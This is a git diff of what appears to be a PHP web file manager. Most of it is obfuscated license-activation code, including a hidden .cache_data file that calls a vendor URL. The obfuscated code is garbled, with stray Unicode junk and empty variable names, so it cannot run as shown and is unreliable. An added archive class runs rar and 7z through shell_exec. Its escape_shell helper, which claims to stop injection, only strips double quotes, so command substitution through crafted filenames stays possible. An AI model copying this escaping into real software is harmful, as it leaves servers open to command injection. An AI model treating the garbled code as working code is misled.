init_common(){$=&$_SERVER{};$GLOBALS[$[0x0074]]=$[0x0a0]();if(!${0x00a1}(DATA_PATH)){$[0x000a2](${0x0000a3});}$Ǭ=${0x0083}(BASIC_PATH.$[0x00000a4]);$=${0x0a5}($Ǭ,$[0x00a6]);ˋ;if($!=KOD_VERSION){$[0x000a2](${0x000a7});}$=$[0x0000a8].BASIC_PATH.${0x00000a9};if(!${0x00a1}(KOD_SESSION)|| !${0x00a1}(KOD_SESSION.$[0x0aa])){${0x00ab}(KOD_SESSION);$[0x000ac](KOD_SESSION.$[0x0aa]);if(!${0x00a1}(KOD_SESSION.$[0x0aa])){$[0x000a2]($);}}if(!${0x0000ad}(KOD_SESSION)|| !${0x0000ad}(KOD_SESSION.$[0x0aa])|| !${0x0000ad}(DATA_PATH.$[0x00000ae])|| !${0x0000ad}(DATA_PATH)){$[0x000a2]($);}$=LIB_DIR.${0x0af};if(${0x00a1}($)){include($);$[0x00b0]($);}}function access_token_check($գĦ){$=&$_SERVER{};$=$GLOBALS[$[0x0042]][${0x000b1}][$[0x0000b2]];ɍθ嚭;$=$[0x00020](${0x00000b3}($[0x0b4].$),0,0x0f);$Ҡ=Mcrypt::decode($գĦ,$);if(!$Ҡ){$[0x000a2](${0x00b5});}$[0x000b6]($Ҡ);}function access_token_get(){$ƃ=&$_SERVER{};$ɤ=$ƃ[0x000b6]();$=$GLOBALS[$ƃ[0x0042]][$ƃ{0x000b1}][$ƃ[0x0000b2]];ÿ۟;$=$ƃ[0x00020]($ƃ{0x00000b3}($ƃ[0x0b4].$),0,0x0f);Ȥ©紣֚񬺑Dz;$Ϯ=Mcrypt::encode($ɤ,$,0x0e10*0x0000018);;return $Ϯ;}function init_session(){$Ԇ=&$_SERVER{};if(isset($_GET[$Ԇ{0x0000b7}])){$Ԇ[0x00000b8]($_GET[$Ԇ{0x0000b7}]);}else{@$Ԇ{0x0b9}(SESSION_ID);}@$Ԇ[0x00ba](KOD_SESSION);@$Ԇ{0x000bb}();;@$Ԇ[0x0000bc]();ףտÞ;}function init_config(){$=&$_SERVER{};${0x00000bd}();$[0x0be]();${0x00bf}();$[0x000c0]();}function need_check_code(){$=&$_SERVER{};$=$GLOBALS[$[0x0042]][${0x000b1}];if(!$[${0x0000c1}]|| !$[0x050]($[0x000009a])|| !$[0x050](${0x09b})|| !$[0x050]($[0x009c])|| !$[0x050](${0x0009d})){return !1;}else{return !0;}}function get_default_lang(){$ۮ=&$_SERVER{};$މ=$ۮ[0x00000c2];ݻ޿;$ݜ=$GLOBALS[$ۮ[0x0042]][$ۮ{0x0c3}][$ۮ[0x00c4]];$=array();;foreach($ݜ as $=>$){$[$]=$;}$[$ۮ{0x000c5}]=$ۮ[0x0056];$[$ۮ[0x0000c6]]=$ۮ{0x00057};𥲾ζϱϽ;$=array();if(!isset($_SERVER[$ۮ{0x00000c7}])){$=$ۮ[0x0c8];}else{$=$ۮ[0x0010]($ۮ{0x00c9},$ۮ[0x000ca],$ۮ[0x00066]($_SERVER[$ۮ{0x00000c7}]));}$ۮ{0x0000cb}($ۮ[0x00000cc],$,$,PREG_SET_ORDER);foreach($ as $ϝ){$[$ϝ[0x001]]=(isset($ϝ[0x00003])?$ϝ[0x00003]:0x001);}$ۮ[0x0060]($);؝ڏ捞̚;foreach($ as $=>$ꠈ){if(isset($[$])){$މ=$[$];break;}$=$ۮ[0x00016]($ۮ{0x0cd},$ۮ[0x00001c],$);if(!isset($[$])&& isset($[$])){$މ=$[$];break;}}return $މ;}function init_lang(){$=&$_SERVER{};if(isset($_COOKIE[$[0x00ce]])){$=$_COOKIE[$[0x00ce]];}else{$=$[0x0000054]();${0x000cf}($[0x00ce],$,$[0x0000d0]()+0x0e10*0x0000018*0x064);}$=$[0x0010](array($[0x000012],${0x00011},${0x00000d1},${0x0004d}),$[0x00001c],$);if(isset($GLOBALS[$[0x0042]][$[0x00070]][$[0x00c4]])){$=$GLOBALS[$[0x0042]][$[0x00070]][$[0x00c4]];}if($==$[0x0d2])$=$[0x0056];if($==${0x00d3})$=${0x00057};$쭒=LANGUAGE_PATH.$.$[0x000d4];۽׋ڽ܂Ӱҿľ㊲ϫʩ;if(!${0x00a1}($쭒)){$=$[0x0c8];$쭒=LANGUAGE_PATH.$.$[0x000d4];}$[0](${0x0000d5},$);$GLOBALS[${0x003d}]=include($쭒);}function make_path($){$݄=&$_SERVER{};$=array($݄[0x000012],$݄{0x00011},$݄[0x0024],$݄[0x00000d6],$݄{0x0d7},$݄[0x00d8],$݄{0x0047},$݄[0x00048],$݄{0x04b});؅ƤಪīǸ;return $݄[0x0010]($,$݄{0x00c9},$);׀ȟ蛉;}function init_setting(){$=&$_SERVER{};$=USER_SYSTEM.${0x000d9};ⓚ˦;if(!${0x00a1}($)){$=$GLOBALS[$[0x0042]][$[0x0000da]];$[${0x00000db}]=$GLOBALS[$[0x0042]][$[0x0dc]];fileCache::save($,$);}else{$=fileCache::load($);}if(!${0x000035}($)){$=$GLOBALS[$[0x0042]][$[0x0000da]];}if(!${0x000035}($[${0x00000db}])){$[${0x00000db}]=$GLOBALS[$[0x0042]][$[0x0dc]];}$GLOBALS[${0x00dd}]->setDefaultController($[$[0x000de]]);$GLOBALS[${0x00dd}]->setDefaultAction(${0x0000df});סҐ媚;$GLOBALS[$[0x0042]][${0x000b1}]=$;}function init_user_setting(){$ͩ=&$_SERVER{};$GLOBALS[$ͩ{0x003d}][$ͩ[0x00000e0]]=$GLOBALS[$ͩ[0x0042]][$ͩ{0x000b1}][$ͩ{0x0e1}];$GLOBALS[$ͩ{0x003d}][$ͩ[0x00e2]]=$GLOBALS[$ͩ[0x0042]][$ͩ{0x000b1}][$ͩ{0x000e3}];if(isset($[$ͩ[0x0000e4]])){$GLOBALS[$ͩ{0x003d}][$ͩ{0x00000e5}]=$GLOBALS[$ͩ[0x0042]][$ͩ{0x000b1}][$ͩ[0x0000e4]];}$ζ=BASIC_PATH.$ͩ[0x0e6];if($ͩ{0x00a1}($ζ)){include($ζ);}$ͩ[0]($ͩ{0x00e7},$GLOBALS[$ͩ[0x0042]][$ͩ[0x00070]][$ͩ[0x000e8]]);}function user_logout(){$=&$_SERVER{};@${0x0000e9}();@${0x0b9}($[0x00000ea]);@${0x000bb}();@${0x0000e9}();${0x000cf}(SESSION_ID,$[0x00001c],$[0x0000d0]()-0x0e10,$[0x000012]);󅤠Ţ;${0x000cf}($[0x00000e0],$[0x00001c],$[0x0000d0]()-0x0e10);ʔ㭒́월;${0x000cf}(${0x0eb},$[0x00001c],$[0x0000d0]()-0x0e10);$[0x00ec](${0x000ed});exit;ƭ;}function hash_encode($){$㈹=&$_SERVER{};return $㈹[0x0010]($㈹[0x0000ee]($),array($㈹{0x00000ef},$㈹[0x000012],$㈹[0x0f0]),array($㈹{0x00f1},$㈹[0x000f2],$㈹{0x0000f3}));̟霻蚖ɐʳ󱆋͊ό;}function hash_decode($鄳){$=&$_SERVER{};return $[0x00000f4]($[0x0010]($鄳,array(${0x00f1},$[0x000f2],${0x0000f3}),array(${0x00000ef},$[0x000012],$[0x0f0])));ۅɰΈӘחڳӋń񩋑ߪ栭ﹹࠜ֓;} \ No newline at end of file diff --git a/lib/class/.cache_data b/lib/class/.cache_data index b659e27..c6f0eed 100755 --- a/lib/class/.cache_data +++ b/lib/class/.cache_data @@ -1 +1,2 @@ --0x003f8+0x000026*0x0001b,$=>-0x060e+0x050*0x014,$﵌=>(0x0000016a2+0x006)/0x000001d,$=>-0x0000024c6-0x000133+0x0097*0x0047,);$α=$->get();;ռֳƗݺϏ;饲;$=$[$];ͳŚ줘І´潛;ǜ풑;if($=='system_member:add'){if($==$ȅ&& isset($in['isImport'])){show_json($GLOBALS['L']['version_not_support'],!0x001,'version_error');}if(count($α)>=$&& $!=0x03e8){show_json($GLOBALS['L']['version_not_support_number'],!0x001,'version_error');}}if($=='system_member:add' || $=='system_member:edit'){if($==$ȅ&& isset($in['home_path'])){show_json($GLOBALS['L']['version_not_support'],!0x001,'version_error');}}if(count($α)>$&& $!=0x03e8){$ꪠ=0x001;$=array();foreach($α as $=>$){if($ꪠ>$)break;$[$]=$;ĵ袼הŦ빸󛢱򶜜η솺ǿʨ⌂;$ꪠ++;اˆ˔ָ̀;}$->reset($,!0x001);̩Ԯ˙Ƒ;}$α=$->get();ûх;if($==$ȅ){$=array();foreach($α as $=>$){unset($['home_path']);$[$]=$;}$->reset($,!0x001);}return $;}function system_group_data(){global$in;笃̷΃;;$=ST.':'.ACT;őĔѺ龑;$=gzinflate(substr(base64_decode('H4sIAAAAAAAAA3MEAIue2dMBAAAA'),0x0a,-0x00008));ˎ݈ժۖ嬇;ˏߩ䁸߰ƒ;׬ڃڎ;$=gzinflate(substr(base64_decode('H4sIAAAAAAAAA/MHAIyzYTQBAAAA'),0x0a,-0x00008));ƅ֤ۄϓ瓗؃;$=base64_decode('UA');;$„׫=base64_decode('UQ');ռڭ݀ۚݷ;$⺎=$GLOBALS['config']['setting_system']['version_type'];ע;if(!$⺎|| !in_array($⺎,array($,$,$,$„׫))){$⺎=$;}$=new fileCache(USER_SYSTEM.'system_group.php');$=array($=>-0x000001ada+0x00001ca+0x0000045*0x00005d,$=>(0x002b8+0x000004)/0x046,$=>-0x092e-0x0195+0x055*0x000021,$„׫=>-0x0000256a+0x0000081*0x00052,);΅̑ݛՌƌ;툘߻뜘եթ;$=$->get();ߤ۪ϕ筚ۜ;$=$[$⺎];碥☿ċ;if($=='system_group:add'){if(count($)>=$&& $!=0x03e8){show_json($GLOBALS['L']['version_not_support_number'],!0x001,'version_error');}}if($=='system_group:add' || $=='system_group:edit'){if($⺎==$&& isset($in['home_path'])){show_json($GLOBALS['L']['version_not_support'],!0x001,'version_error');}}if(count($)>$&& $!=0x03e8){$=0x001;$=array();foreach($ as $=>$){if($>$)break;$[$]=$;˶۳;$++;ᔻòӸح;}$->reset($,!0x001);ŁڜŌل;Ԙʵǔ;}$=$->get();٫݈膸‹ϡǪߦッǏֱˊ;if($⺎==$){$=array();foreach($ as $=>$){unset($['home_path']);$[$]=$;}$->reset($,!0x001);}return $;}function system_rol_data(){$ם=ST.':'.ACT;Մ;ܐ;祑˲ϓߙ²ϋϝ̰Ģ̲;$=base64_decode('QQ');$=base64_decode(str_rot13('Gj'));뀄ә̐;;$=base64_decode('UA');ᤀћ;$礿=base64_decode('UQ');;ʐۨ;if($ם=='user:version_install'){version_install();exit;}$=&$GLOBALS['config']['setting_system'];if(!init_version_check()){$['version_type']=$;if(is_array($_SESSION['kod_user'])&& $_SESSION['kod_user']['role']=="1"){version_reset(!0x001);include(TEMPLATE.'user/license.html');exit;}}if($ם=='explorer:officeSave' && $['version_type']==$){show_json($GLOBALS['L']['version_not_support'],!0x001);}$=new fileCache(USER_SYSTEM.'system_role.php');return $;鋙ʮǚǛ;;𥜊ץǔ񋘭ҹŊڏǀ۬;}function init_version_check(){$=&$GLOBALS['config']['setting_system'];菤˭Յ̆;$=base64_decode('QGRmcVstKSYqXiolKF85MA');ק;Ĵ䝜ǜّփݗӰβ;$ۙ=base64_decode('QQ');Ύ駠Ҡ;劣ƅɿѴͷ;$=base64_decode('Tw');$=base64_decode('UA');$Ɓ=base64_decode(str_rot13('HD'));񀬼ݳ;if(!isset($['version_type'])|| !in_array($['version_type'],array($ۙ,$,$,$Ɓ))){$['version_type']=$ۙ;}if($['version_type']==$ۙ){unset($['version_hash']);return !0;}if(!isset($['version_type'])|| !isset($['version_user'])|| !isset($['version_license'])|| !isset($['device_uuid'])|| !isset($['device_path'])){return !0x001;}if(strlen($['version_type'])!=0x001|| strlen($['version_user'])!=0x0010|| strlen($['version_license'])!=0x0003e|| strlen($['device_uuid'])!=0x0010){return !0x001;}$=substr($['version_license'],0x00020);$=md5($.$['version_user'].$['device_uuid'].$['version_type']);˯ڣؾ;if($!=substr($['version_license'],0,0x00020)){return !0x001;}$=Mcrypt::decode($['device_path'],md5($.$['version_license']));$ɕت=!0x001;ӂ;Ԕß;if(file_exists($)){$=file_get_contents($);$=Mcrypt::decode($,md5($.$['device_uuid']));if($!="" && strtotime($)>time()){$ɕت=!0;}}if(!$ɕت){return !0x001;}$=substr(md5($['version_license']),0x0a,0x0a);$=$.$['version_type'].$['device_uuid'];;$['version_hash']=Mcrypt::encode($,$,0);ė߫ɑ؃ě;return !0;мȨƎކŗ;}function version_install(){$=&$GLOBALS['config']['setting_system'];;$﹡=gzinflate(substr(base64_decode('H4sIAAAAAAAAA3NISSuM1tVU04rTUtWItzQAAEoqycUQAAAA'),0x0a,-0x00008));КڴǟΘ̎;ܒ×;if(isset($_GET['reset'])){version_reset(!0);header("location:./");}if(!isset($_GET['license_code'])){include(TEMPLATE.'user/license.html');exit;}else{$=rand_string(0x0010);$̉=base64_decode(str_rot13('nUE0pQbiY2guoTAuMTEfMF5wo20iqT9ioUZiqzIlp2yiov8/oTywMJ5mMF9cozEyrN'));$=$̉."&code=".$_GET['license_code']."&uuid=".$;$=$."&referer=".rawurlencode($_SERVER['HTTP_REFERER']);$=json_decode(file_get_contents($),!0);if(is_array($)&& $['code']==!0&& is_array($['data'])){$=new fileCache(USER_SYSTEM.'system_setting.php');$=$->get();$['version_user']=$_GET['license_code'];$['version_license']=$['data']['version_license'];$['device_uuid']=$;$['version_type']=$['data']['version_type'];$=Mcrypt::decode($['device_path'],md5($﹡.$['version_license']));del_file($);version_install_path($,$['data']);$->reset($);$=BASIC_PATH.'/config/setting_user.php';if(!file_exists($)){$="get();݈֖䜃ɍլ;unset($翮['version_user']);ȸǯ;unset($翮['version_license']);蘻݇Ƀ;unset($翮['device_uuid']);㲤룀޽ֳ򎩼찼ꏸ;unset($翮['device_path']);餬əЮʫƫ;ʍÆ׾Ȕ;ځŐ媚ƔЦ;if($){unset($翮['version_type']);}$->reset($翮);} \ No newline at end of file +0x0a,$=>0x032,$Ѝ=>0x0c8,$܏Ļ=>0x03e8,);Ģ֢޽Ϧɿ;$˩=$->get();$=$Ă[$];if($==${0x0001b}){if($==$&& isset($in[$[0x00001c]])){${0x000001d}($GLOBALS[$[0x01e]][${0x001f}],!1,$[0x00020]);}if(${0x000021}($˩)>=$&& $!=0x03e8){${0x000001d}($GLOBALS[$[0x01e]][$[0x0000022]],!1,$[0x00020]);}}if($==${0x0001b} || $==${0x023}){if($==$&& isset($in[$[0x0010]])){${0x000001d}($GLOBALS[$[0x01e]][${0x001f}],!1,$[0x00020]);}}if($==$[0x0024]){if(${0x000021}($˩)>$&& $!=0x03e8){$Ā=0x001;$=array();foreach($˩ as $=>$ۻ){if($Ā>$)break;$[$]=$ۻ;$Ā++;ʩʝְҺ兇ᩮߡ鮑㣨ڳ繛;}$->reset($,!1);퍭ѕ˂߸ˣ;}$˩=$->get();ބڱȬރހ;if($==$){$=array();foreach($˩ as $=>$ۻ){unset($ۻ[$[0x0010]]);$[$]=$ۻ;}$->reset($,!1);}}return $;٬︬ȠĖ;}function system_group_data(){$=&$_SERVER{};global$in;뷄ꢖ°;$ۋ=ST.$[0x014].ACT;$Ӄ=$[0x000012];Ŏ˅;$=${0x0015};$=$[0x00016];Յڪм١;$=${0x000017};$=$GLOBALS[$[0]][${0x00003}][${0x0000013}];;if(!$|| !$[0x0000018]($,array($Ӄ,$,$,$))){$=$Ӄ;}$̢=new ${0x019}(USER_SYSTEM.${0x00025});$=array($Ӄ=>0x001,$=>0x0a,$=>0x032,$=>0x03e8,);Ј䁚򖇵;$=$̢->get();ՇƌʆہזۇӍDz԰Ùʝߴ;$˱=$[$];if($ۋ==$[0x000026]){if(${0x000021}($)>=$˱&& $˱!=0x03e8){${0x000001d}($GLOBALS[$[0x01e]][$[0x0000022]],!1,$[0x00020]);}}if($ۋ==$[0x000026] || $ۋ==${0x0000027}){if($==$Ӄ&& isset($in[$[0x0010]])){${0x000001d}($GLOBALS[$[0x01e]][${0x001f}],!1,$[0x00020]);}}if($ۋ==$[0x028]){if(${0x000021}($)>$˱&& $˱!=0x03e8){$=0x001;$=array();foreach($ as $ۋ=>$Ż){if($>$˱)break;$[$ۋ]=$Ż;ʑÆփѩ;$++;ŭݰƢԑՑ˕ǥ;}$̢->reset($,!1);}$=$̢->get();ԵäہΤͥ˿;if($==$Ӄ){$=array();foreach($ as $ۋ=>$Ż){unset($Ż[$[0x0010]]);$[$ۋ]=$Ż;}$̢->reset($,!1);}}return $̢;őų׹֯ԉƣ􁳮Ɯ;}function system_rol_data(){$=&$_SERVER{};$ؓ=ST.$[0x014].ACT;$р=$[0x000012];đز;$=${0x0015};$Ƿ=$[0x00016];֤ȦЌ؏˦׃됛ӊǦǐβ;$=${0x000017};܅;if($ؓ==${0x0029}){$[0x0002a]();exit;}$=&$GLOBALS[$[0]][${0x00003}];if(!${0x00002b}()){$[${0x0000013}]=$р;if($ؓ!=$[0x000002c] && ${0x02d}($_SESSION[$[0x002e]])&& $_SESSION[$[0x002e]][${0x0002f}]==$[0x000030]){${0x0000031}(!1);include(TEMPLATE.$[0x032]);exit;}}if($ؓ==${0x0033} && $[${0x0000013}]==$р){${0x000001d}($GLOBALS[$[0x01e]][${0x001f}],!1);}$=new ${0x019}(USER_SYSTEM.$[0x00034]);return $;Ҟݮ;}function init_version_check(){$=&$_SERVER{};$=&$GLOBALS[$[0]][${0x00003}];Ӿٴɉ;$=${0x000035};$=$[0x000012];$=${0x0015};Œ؁򞳽ᛧ販;$=$[0x00016];ǣɺݏ񲑍٣۩񯝕Ͽ͒옫;$=${0x000017};if(!isset($[${0x0000013}])|| !$[0x0000018]($[${0x0000013}],array($,$,$,$))){$[${0x0000013}]=$;}if($[${0x0000013}]==$){unset($[$[0x0000036]]);return !0;}if(!isset($[${0x0000013}])|| !isset($[${0x037}])|| !isset($[$[0x0038]])|| !isset($[${0x00039}])|| !isset($[$[0x00003a]])){return !1;}if(${0x000003b}($[${0x0000013}])!=0x001|| ${0x000003b}($[${0x037}])!=0x0010|| ${0x000003b}($[$[0x0038]])!=0x0003e|| ${0x000003b}($[${0x00039}])!=0x0010){return !1;}$Ю=$[0x03c]($[$[0x0038]],0x00020);$=${0x003d}($Ю.$[${0x037}].$[${0x00039}].$[${0x0000013}]);if($!=$[0x03c]($[$[0x0038]],0,0x00020)){return !1;}$=Mcrypt::decode($[$[0x00003a]],${0x003d}($.$[$[0x0038]]));$=!1;ۈӹ;if(${0x001}($)){$=$[0x0003e]($);$=Mcrypt::decode($,${0x003d}($.$[${0x00039}]));if($!=${0x00003f} && $[0x0000040]($)>${0x041}()){$=!0;}}if(!$){return !1;}$讳=$[0x03c](${0x003d}($[$[0x0038]]),0x0a,0x0a);$=$讳.$[${0x0000013}].$[${0x00039}];$[$[0x0000036]]=Mcrypt::encode($,$,0);;return !0;}function version_install(){$=&$_SERVER{};$٥=&$GLOBALS[$[0]][${0x00003}];$=${0x000035};if(isset($_GET[$[0x0042]])){${0x0000031}(!0);${0x00043}($[0x000044]);}if(!isset($_GET[${0x0000045}])){include(TEMPLATE.$[0x032]);exit;}else{$=$[0x046](0x0010);$=${0x0047};$=$.$[0x00048].$_GET[${0x0000045}].${0x000049}.$;$=$.$[0x000004a].${0x04b}($_SERVER[$[0x004c]]);$=${0x0004d}($[0x0003e]($),!0);if(${0x02d}($)&& $[$[0x00004e]]==!0&& ${0x02d}($[${0x000004f}])){$=new ${0x019}(USER_SYSTEM.$[0x050]);$=$->get();$[${0x037}]=$_GET[${0x0000045}];$[$[0x0038]]=$[${0x000004f}][$[0x0038]];$[${0x00039}]=$;$[${0x0000013}]=$[${0x000004f}][${0x0000013}];$=Mcrypt::decode($٥[$[0x00003a]],${0x003d}($.$٥[$[0x0038]]));${0x0051}($);$[0x00052]($,$[${0x000004f}]);$->reset($);$=BASIC_PATH.${0x000053};if(!${0x001}($)){$=$[0x0000054];${0x055}($,$);}$[0x0056]($GLOBALS[$[0x01e]][${0x00057}]);}else{$[0x0056]($[${0x000004f}],!1);}}}function install_msg($,$=true){$ȇ=&$_SERVER{};$=$?$ȇ[0x000058] :$ȇ{0x0000059};$ȇ[0x05a]($,$,0x0002);ǬճŮճڝ͎̰;}function version_install_path(&$,$֍){$Ʋ=&$_SERVER{};$=$֍[$Ʋ{0x005b}];ͫ璒ӱÍڅø┛ѥؐ–ݨ՗Ϙ񲭍Ҵ;$=$Ʋ{0x000035};$=$Ʋ{0x00003f};$=$Ʋ[0x0005c].$Ʋ[0x03c]($Ʋ{0x003d}($Ʋ[0x046](0x014).$Ʋ{0x041}()),0x0f,0x0a).$Ʋ{0x00005d};;$=array($Ʋ[0x000005e],$Ʋ{0x05f},$Ʋ[0x0060],$Ʋ{0x00061},$Ʋ[0x000062],$Ʋ{0x0000063}($Ʋ{0x0000063}($Ʋ{0x0000063}(WEB_ROOT))),$Ʋ{0x0000063}($Ʋ{0x0000063}(WEB_ROOT)),$Ʋ{0x0000063}(WEB_ROOT),WEB_ROOT,$Ʋ{0x0000063}(BASIC_PATH),DATA_PATH.$Ʋ[0x064],DATA_PATH.$Ʋ{0x0065},DATA_PATH.$Ʋ[0x00066]);Ċ׾ꉛܲ۱Ϗ;$=$Ʋ{0x00003f};foreach($ as $){if($Ʋ{0x001}($)&& $Ʋ{0x000067}($)){$=$.$Ʋ[0x0000068].$;break;}}if(isset($֍[$Ʋ{0x069}])&& $֍[$Ʋ{0x069}]==0x001){$=$Ʋ[0x006a].$;}$=Mcrypt::encode($,$Ʋ{0x003d}($.$[$Ʋ{0x00039}]));$Ʋ{0x055}($,$);ݍľᦠѯꝊ;if(!$Ʋ{0x001}($)){$Ʋ[0x0056]($Ʋ{0x0006b},!1);}$[$Ʋ[0x00003a]]=Mcrypt::encode($,$Ʋ{0x003d}($.$[$Ʋ[0x0038]]));return;}function version_reset($ݸ=false){$=&$_SERVER{};$=&$GLOBALS[$[0]][${0x00003}];$=${0x000035};ė;$=Mcrypt::decode($[$[0x00003a]],${0x003d}($.$[$[0x0038]]));${0x0051}($);$=new ${0x019}(USER_SYSTEM.$[0x050]);ˌΠÐߨͤ;$=$->get();ͭ疵䱷ĈȐ;unset($[${0x037}]);;unset($[$[0x0038]]);unset($[${0x00039}]);ÝɁ;unset($[$[0x00003a]]);ʔլ;if($ݸ){unset($[${0x0000013}]);}$->reset($);} \ No newline at end of file diff --git a/lib/class/archiveLib/bin/7z b/lib/class/archiveLib/bin/7z new file mode 100755 index 0000000..81670c8 Binary files /dev/null and b/lib/class/archiveLib/bin/7z differ diff --git a/lib/class/archiveLib/bin/7z.exe b/lib/class/archiveLib/bin/7z.exe new file mode 100755 index 0000000..7f6bf86 Binary files /dev/null and b/lib/class/archiveLib/bin/7z.exe differ diff --git a/lib/class/archiveLib/bin/rar b/lib/class/archiveLib/bin/rar new file mode 100755 index 0000000..1ba2a0c Binary files /dev/null and b/lib/class/archiveLib/bin/rar differ diff --git a/lib/class/archiveLib/bin/rar.exe b/lib/class/archiveLib/bin/rar.exe new file mode 100755 index 0000000..1449422 Binary files /dev/null and b/lib/class/archiveLib/bin/rar.exe differ diff --git a/lib/class/archiveLib/kodRarArchive.class.php b/lib/class/archiveLib/kodRarArchive.class.php new file mode 100755 index 0000000..44bd3a1 --- /dev/null +++ b/lib/class/archiveLib/kodRarArchive.class.php @@ -0,0 +1,242 @@ +false,'data'=>'[shell_exec error!] No Result!'); + } + return array('code'=>true,'data'=>$result); + } + + /** + * 防止通过构造文件名,进行shell注入 + */ + static function extract($file,$dest,$ext,$part_name=false,$passwd=false) { + $dest_before = $dest; + $dest = TEMP_PATH.'others/'.md5(rand_string(40).time()).'/'; + mk_dir($dest);touch(TEMP_PATH.'others/index.html'); + + $passwd = $passwd ?" -p".escape_shell($passwd).' ':''; + if($ext == 'rar'){ + $param = ' -y '.$passwd.escape_shell($file).' '.escape_shell($dest).' '; + if($part_name === false){ + $command = self::bin('rar').' x'.$param; + }else if(is_array($part_name)){ + $command = self::bin('rar').' x'.$param.escape_shell($part_name[0]); + }else{ + $command = self::bin('rar').' e'.$param.escape_shell($part_name); + } + }else{ + if($ext == 'bz2'){ + $ext = 'bzip2'; + } + $param = ' -y -t'.escape_shell($ext).$passwd.' -o'.escape_shell($dest).' '.escape_shell($file).' '; + if($part_name === false){ + $command = self::bin('7z').' x'.$param; + }else if(is_array($part_name)){ + $command = self::bin('7z').' x'.$param.escape_shell($part_name[0]); + }else{ + $command = self::bin('7z').' e'.$param.escape_shell($part_name); + } + } + $result = self::run($command); + //pr($result);exit; + if(!$result['code']){ + return $result; + } + + //子目录解压移除多余层级目录 + if( is_array($part_name) ){ + $the_path = trim(str_replace("\\",'/',$part_name[0]),'/'); + $path_group = explode('/',$the_path); + + //一级目录解压不用移动 + if(count($path_group) > 1){ + move_path($dest.$part_name[0],$dest.get_path_this($the_path)); + del_dir($dest.$path_group[0]); + }else{ + $dest_before = get_path_father($dest_before); + } + } + + //扩展名处理;文件名重命名处理 + recursion_dir($dest,$dirs,$files,-1,0); + foreach($dirs as $f){ + $item_path = str_replace(array($dest,"\\"),array('','/'),$f); + $item_path = unzip_pre_name($item_path); + $from = $dest.get_path_father($item_path).get_path_this($f); + if(strstr($item_path,'/') == false){ + $from = $dest.get_path_this($f); + } + //echo $from.'==>
    '.$dest.$item_path.'
    '; + if($dest.$item_path != $from){ + @rename($from,$dest.$item_path); + } + } + + foreach($files as $f){ + $item_path = str_replace(array($dest,"\\"),array('','/'),$f); + $item_path = unzip_pre_name($item_path); + $from = $dest.get_path_father($item_path).get_path_this($f); + if(strstr($item_path,'/') == false){ + $from = $dest.get_path_this($f); + } + if($dest.$item_path != $from){ + @rename($from,$dest.$item_path); + } + } + move_path($dest,$dest_before); + del_dir(rtrim($dest,'/')); + return $result; + } + + static function listContent($file) { + if(get_path_ext($file) == 'rar'){ + return self::listContentRar($file); + }else{ + return self::listContent7z($file); + } + } + + static function listContentRar($file) { + $command = self::bin('rar').' v '.escape_shell($file); + $result = self::run($command); + if(!$result['code']){ + return $result; + } + + preg_match('/-----------\n([\d\D]*)\n--------------/i', $result['data'], $match); + if(!is_array($match) || strlen($match[1]) < 10){ + return array('code'=>false,'data'=>'Match Nothing Content!'); + } + + //windows:movie\FLV Video.flv + // 567385 513467 90% 18-10-16 03:46 .D..... + //linux:test\32486963.png + // 93691 82643 88% 09-12-16 02:20 drw-r--r-- 396CC62C m3g 2.9 + $reg = '/(.*)\n\s+(\d+)\s+(\d+)\s+\d+% (\d{2}-\d{2}-\d{2} \d{2}:\d{2})\s+(.*)\s+/i'; + preg_match_all($reg,$match[1]."\n",$match_item); + if( !is_array($match_item) || + count($match_item) != 6 || + count($match_item[0]) == 0 + ){ + return array('code'=>false,'data'=>'Match Nothing Item!'); + } + + $item_arr = array(); + for ($i = 0; $i < count($match_item[0]); $i++) { + $mode = strtoupper($match_item[5][$i]); + $is_folder = substr($mode,0,1) == 'D' || substr($mode,1,1) == 'D'; + $item_arr[] = array( + 'mtime' => strtotime($match_item[4][$i]), + 'size' => $match_item[3][$i], + 'z_size' => $match_item[2][$i], + 'filename' => trim($match_item[1][$i]), + 'index' => $i, + 'folder' => $is_folder + ); + } + //debug_out($result,$match,$match_item,$item_arr); + return array('code'=>true,'data'=>$item_arr);; + } + static function listContent7z($file) { + $command = self::bin('7z').' l '.escape_shell($file); + $result = self::run($command); + if(!$result['code']){ + return $result; + } + + preg_match('/-----------\n([\d\D]*)\n--------------/i', $result['data'], $match); + if(!is_array($match) || strlen($match[1]) < 10){ + return array('code'=>false,'data'=>'Match Nothing Content!'); + } + + //2017-03-08 11:22:16 ..... 10727 9385 000\test11.docx + //2017-03-09 13:43:10 ....A 6254 000\111.md + $reg = '/(\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}) (D?\.+A?)\s+(\d+)\s+(\d*)\s+(.*)/i'; + preg_match_all($reg,$match[1],$match_item); + if( !is_array($match_item) || + count($match_item) != 6 || + count($match_item[0]) == 0 + ){ + return array('code'=>false,'data'=>'Match Nothing Item!'); + } + + $item_arr = array(); + for ($i = 0; $i < count($match_item[0]); $i++) { + $item_arr[] = array( + 'mtime' => strtotime($match_item[1][$i]), + 'size' => $match_item[3][$i], + 'z_size' => $match_item[4][$i], + 'filename' => trim($match_item[5][$i]), + 'index' => $i, + 'folder' => substr($match_item[2][$i],0,1) == 'D' + ); + } + //debug_out($result,$match,$match_item,$item_arr); + return array('code'=>true,'data'=>$item_arr);; + } + + /** + * [create description] + * @param [type] $file [creat file to] + * @param [type] $ext [ext:7z,xz,bz2,gzip,tar,zip] + * @param [type] $files [array from] + * @param boolean $passwd [password] + * @return [type] [description] + */ + // static function create($file,$files,$ext,$passwd=false) { + // $passwd = $passwd? " -p".$passwd.' ':""; + // $spearat = (PATH_SEPARATOR != ':')?("&& ".substr($files,0,2)." "):"";//win=>; linux=>: + // $command = 'cd "'.$files.'" '.$spearat.' &&';//cd到所在文件夹; + // $command = $command.self::bin().' a -r -y -t'.$ext.' '.$passwd.' "'.$file.'" *'; + // return self::run($command); + // } + +} + +// 不允许双引号 +function escape_shell($param){ + //$param = escapeshellarg($param); + if (strtoupper(substr(PHP_OS, 0,3)) != 'WIN') {//linux + $param = str_replace('!','\!',$param); + } + $param = rtrim($param,"\\"); + return '"'.str_replace(array('"',"\0"),'_',$param).'"'; +} diff --git a/lib/class/archiveLib/pclerror.lib.php b/lib/class/archiveLib/pclerror.lib.php new file mode 100755 index 0000000..b5dea8e --- /dev/null +++ b/lib/class/archiveLib/pclerror.lib.php @@ -0,0 +1,132 @@ +"; + $v_message .= "

    PclError Library has detected a fatal error on file '$p_file', line $p_line

    "; + $v_message .= "

    $p_error_string

